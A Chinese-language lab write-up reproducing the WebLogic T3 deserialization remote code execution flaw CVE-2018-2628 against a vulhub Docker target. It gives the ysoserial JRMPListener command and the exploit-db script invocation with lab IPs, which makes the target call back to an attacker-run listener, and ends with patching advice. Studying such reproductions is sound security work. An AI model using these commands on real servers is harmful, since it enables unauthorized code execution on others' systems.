WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)漏洞复现

漏洞概述:

    在 WebLogic 里,攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。

影响版本:

Weblogic 10.3.6.0,Weblogic 12.1.3.0,Weblogic 12.2.1.2,Weblogic 12.2.1.3

基本原理:

序列化:序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。(通过ObjectOutputStream类的writeObject)

反序列化:就是把字节流恢复为对象的过程(通过ObjectInputStream类的readObject()方法)

RMI:远程方法调用(Remote Method Invocation)。简单来说,除了该对象本身所在的虚拟机,其他虚拟机也可以调用该对象的方法。

JRMP:java远程消息交换协议JRMP(Java Remote Messaging Protocol)

漏洞环境:

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628

主机作为服务端。(本人主机win10)

漏洞检测:

WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)漏洞复现_第1张图片

使用t3服务。

复现过程:

1.开启监听服务JRMPListen,服务器端使用ysoserial(下载地址:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta)

利用ysoserial的JRMP对1099端口监听

命令:java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [监听端口] CommonsCollections1 "命令"

JRMP监听

2.利用exploit脚本攻击(exploit脚本下载地址:https://www.exploit-db.com/exploits/44553)

命令:python exploit.py [目标ip] [目标port] [ysoserial路径] [JRMPListener ip] [JRMPListener port] [JRMPClient]

#目标ip就是weblogic的ip。端口weblogic的端口

#ysoserial路径就是上方使用的ysoserial的路径

#JRMPListener port为主机端口,就是我使用的win10,监听端口上方1099

#JRMPClient]执行

最后构造:python exploit.py 192.168.220.131 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.2.5 1099 JRMPClient

WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)漏洞复现_第2张图片
exploit

这里碰到一个问题,利用exploit时报字符集的错误。

chcp 65001

set PYTHONIOENCODING=utf-8

上面两条命令即可解决。

3.查看是否创建成功

进入靶机:执行以下命令:

docker exec -ti cve20182628_weblogic_1 /bin/bash   #cve20182628_weblogic_1是我的docker靶机名

ls -al /tmp 查看

WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)漏洞复现_第3张图片

漏洞修复:

    关闭T3服务,或控制T3服务的访问权限(临时)。

    打官方补丁。

参考链接:https://blog.csdn.net/csacs/article/details/87122472

https://www.freebuf.com/vuls/169420.html

你可能感兴趣的